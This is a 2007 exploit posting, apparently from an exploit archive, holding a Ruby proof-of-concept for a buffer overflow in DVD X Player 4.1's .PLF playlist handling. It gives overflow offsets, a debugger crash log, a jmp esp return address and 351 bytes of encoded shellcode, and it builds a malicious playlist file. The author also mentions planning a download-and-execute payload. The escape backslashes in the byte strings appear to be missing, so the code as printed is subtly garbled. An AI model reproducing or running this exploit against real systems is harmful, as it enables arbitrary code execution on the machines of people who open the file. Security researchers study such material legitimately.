dvdxplayer-overflow.txt
Posted on 07 June 2007
#!/usr/bin/env ruby #################################################################################################### #0day DVD X Player 4.1 Professional .PLF file buffer over flow found by n00b and poc by n00b. #First of all DVD x is prone to a buffer-overflow when playing an overly long file name inside #A .plf file Which is InterVideo WinDVD Play list File but also Dvd x uses this file as a play #list file.Also the seh handlers got smashed so seh over-write is possible.Upon successful #Exploitation calc will open and if it don't make sure you have the right jmp esp% #Tested on :win xp service pack 2 #Vendors web site: http://www.dvd-x-player.com/ #Esp was pointing 277 byte's in to the buffer. #And eip was over written 261 byte's in to the buffer .So i made the 17 byte's up with nop's sled. #I will be writing a c version as it will be nice to have download execute shell code as the program #Doesn't shut down but runs in the back ground #################################################################################################### # \Debug info// #(65c.98c): Access violation - code c0000005 (first chance) #First chance exceptions are reported before any exception handling. #This exception may be expected and handled. #eax=00000001 ebx=77f6cf47 ecx=04450e60 edx=00000042 esi=04450348 edi=6405341c #eip=41414141 esp=0012f4ac ebp=01adfe50 iopl=0 nv up ei pl nz na po nc #cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 #41414141 ?? ??? #0:000> g #(65c.98c): Access violation - code c0000005 (first chance) #First chance exceptions are reported before any exception handling. #This exception may be expected and handled. #eax=00000000 ebx=00000000 ecx=41414141 edx=7c9037d8 esi=00000000 edi=00000000 #eip=41414141 esp=0012f0dc ebp=0012f0fc iopl=0 nv up ei pl zr na pe nc #cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 #41414141 ?? ??? ################################################################################### #Shouts: - Str0ke - Marsu - SM - Aelphaeis - vade79 - c0ntex ~ Kevin Finisterre ################################################################################### #Credit goes to n00b for writing exploit and finding bug. !!! < Enjoy >. ################################################################################### Header1 = "x63x3Ax5c" # C:\n bof = 'A'* 257 #Fill our bufer with sh!t. shell = "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"+ #351 bytes "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"+ "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"+ "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"+ "x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x54"+ "x42x50x42x50x42x30x4bx58x45x54x4ex33x4bx38x4ex57"+ "x45x30x4ax37x41x30x4fx4ex4bx58x4fx44x4ax41x4bx38"+ "x4fx35x42x42x41x30x4bx4ex49x34x4bx58x46x33x4bx58"+ "x41x30x50x4ex41x33x42x4cx49x39x4ex4ax46x58x42x4c"+ "x46x37x47x30x41x4cx4cx4cx4dx50x41x50x44x4cx4bx4e"+ "x46x4fx4bx53x46x55x46x32x46x30x45x47x45x4ex4bx48"+ "x4fx35x46x32x41x50x4bx4ex48x36x4bx58x4ex50x4bx54"+ "x4bx58x4fx35x4ex31x41x50x4bx4ex4bx38x4ex41x4bx38"+ "x41x30x4bx4ex49x38x4ex45x46x52x46x50x43x4cx41x53"+ "x42x4cx46x46x4bx48x42x44x42x43x45x38x42x4cx4ax37"+ "x4ex50x4bx48x42x44x4ex50x4bx48x42x57x4ex51x4dx4a"+ "x4bx48x4ax46x4ax30x4bx4ex49x30x4bx58x42x58x42x4b"+ "x42x30x42x50x42x30x4bx48x4ax46x4ex43x4fx55x41x43"+ "x48x4fx42x56x48x55x49x58x4ax4fx43x38x42x4cx4bx57"+ "x42x55x4ax46x4fx4ex50x4cx42x4ex42x46x4ax36x4ax49"+ "x50x4fx4cx48x50x30x47x35x4fx4fx47x4ex43x46x41x56"+ "x4ex46x43x56x50x42x45x56x4ax37x45x36x42x30x5a" ret = "x27xB1xFAx77" # 4bytes // Jmp esp% in shlwapi.dll nop = "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" # Ffs my nop sled 16byte's bof2 ='B'* 388 # fill the rest of the file up with sh!t. Header2 = "x2Ex6Dx70x33" # .mp3 n00b = Header1 + bof + ret + nop + shell + bof2 + Header2 # Build the file. File.open( "Exploit.plf","w") do |the_file| # Open the file for writing the_file.puts (n00b) # Place data from variable. the_file.close # Close end
